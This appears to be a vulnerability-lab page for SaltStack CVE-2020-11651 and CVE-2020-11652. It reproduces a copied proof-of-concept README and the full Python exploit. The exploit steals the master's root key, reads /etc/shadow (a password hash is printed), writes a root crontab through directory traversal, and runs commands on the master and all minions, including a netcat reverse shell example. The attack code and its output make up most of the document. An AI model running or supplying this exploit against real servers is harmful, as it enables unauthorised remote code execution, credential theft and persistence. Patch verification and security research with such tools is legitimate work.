SaltStack is a set of C/S architecture configuration management tools developed based on Python. In the CVE-2020-11652 directory traversal vulnerability, an attacker can read and write arbitrary files on the server by constructing a malicious request.
REF:
- https://labs.f-secure.com/advisories/saltstack-authorization-bypass
- https://github.com/rossengeorgiev/salt-security-backports
- https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/tests/integration/master/test_clear_funcs.py
Ports Description
- 4505/4506 This is the port where SaltStack Master communicates with minions
- 8000 This is the API port of Salt
- 2222 This is the port that the SSH server inside the container listens to
PoC exploit for CVE-2020-11651 and CVE-2020-11652
Copied From: https://github.com/jasperla/CVE-2020-11651-poc
This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes.
Thanks for F-Secure Labs for their research and reporting.
Currently this script can be used for filesystem access and scheduling commands on the master and all connected minions. Use these powers wisely!
Usage
Default operation (without arguments) is to obtain the root key for the given master:
[email protected]:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[email protected]:~/salt#
Executing arbitrary commands on the master:
[email protected]:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
[email protected]:~/salt#
The same, but on all minions:
[email protected]:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
[email protected]:~/salt#
Files can be read with:
[email protected]:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]
Files can be uploaded using --upload-src
and --upload-dest
. Note the destination must be a relative path:
[email protected]:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
Requirements
- Python 2 or 3
- Salt (
pip3 install salt
)
REF: https://github.com/jasperla/CVE-2020-11651-poc
#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time
import salt
import salt.version
import salt.transport.client
import salt.exceptions
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
# --- check funcs ----
def check_salt_version():
print("[+] Salt version: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
# connection check
try:
channel.send({'cmd':'ping'}, timeout=2)
except salt.exceptions.SaltReqTimeoutError:
print("OFFLINE")
sys.exit(1)
else:
print("ONLINE")
def check_CVE_2020_11651(channel):
print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
return root_key
return None
def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'cmd': 'get_token',
'arg': [],
'token': top_secret_file_path,
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
print("NO")
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': top_secret_file_path,
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return']:
print("YES")
else:
print("NO")
def check_CVE_2020_11652_write1(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
'data': 'evil',
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
pp(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")
def check_CVE_2020_11652_write2(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'config.update_config',
'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
'yaml_contents': 'evil',
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652.conf')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")
def pwn_read_file(channel, root_key, path, master_ip):
print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_upload_file(channel, root_key, src, dest, master_ip):
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
sys.stdout.flush()
try:
fh = open(src, 'rb')
payload = fh.read()
fh.close()
except Exception as e:
print('[-] Failed to read {}: {}'.format(src, e))
return
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'saltenv': 'base',
'data': payload,
'path': dest,
}
rets = channel.send(msg, timeout=3)
print('[ ] {}'.format(rets['data']['return']))
def pwn_exec(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'saltenv': 'base',
'user': 'sudo_user',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
},
'jid': jid,
}
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
if rets.get('jid'):
print('[+] Successfully scheduled job: {}'.format(rets['jid']))
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': '_send_pub',
'fun': 'cmd.run',
'user': 'root',
'arg': [ "/bin/sh -c '{}'".format(cmd) ],
'tgt': '*',
'tgt_type': 'glob',
'ret': '',
'jid': jid
}
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
finally:
if rets == None:
print('[+] Successfully submitted job to all minions.')
else:
print('[-] Failed to submit job')
def main():
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
parser.add_argument('--port', '-p', dest='master_port', default='4506')
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
parser.add_argument('--read', '-r', dest='read_file')
parser.add_argument('--upload-src', dest='upload_src')
parser.add_argument('--upload-dest', dest='upload_dest')
parser.add_argument('--exec', dest='exec', help='Run a command on the master')
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
args = parser.parse_args()
print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
time.sleep(1)
# Both src and destination are required for uploads
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
print('[-] Must provide both --upload-src and --upload-dest')
sys.exit(1)
channel = init_minion(args.master_ip, args.master_port)
if check_salt_version():
print("[ ] This version of salt is vulnerable! Check results below")
elif args.force:
print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")
else:
sys.exit()
check_connection(args.master_ip, args.master_port, channel)
root_key = check_CVE_2020_11651(channel)
if root_key:
print('\n[*] root key obtained: {}'.format(root_key))
else:
print('[-] Failed to find root key...aborting')
sys.exit(127)
if args.run_checks:
# Assuming this check runs on the master itself, create a file with "secret" content
# and abuse CVE-2020-11652 to read it.
top_secret_file_path = '/tmp/salt_cve_teta'
with salt.utils.fopen(top_secret_file_path, 'w') as fd:
fd.write("top secret")
# Again, this assumes we're running this check on the master itself
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
root_key = keyfd.read()
check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
check_CVE_2020_11652_write1(debug, channel, root_key)
check_CVE_2020_11652_write2(debug, channel, root_key)
os.remove(top_secret_file_path)
sys.exit(0)
if args.read_file:
pwn_read_file(channel, root_key, args.read_file, args.master_ip)
if args.upload_src:
if os.path.isabs(args.upload_dest):
print('[-] Destination path must be relative; aborting')
sys.exit(1)
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
if args.exec:
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)
if args.exec_all:
print("[!] Lester, is this what you want? Hit ^C to abort.")
time.sleep(2)
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)
if __name__ == '__main__':
main()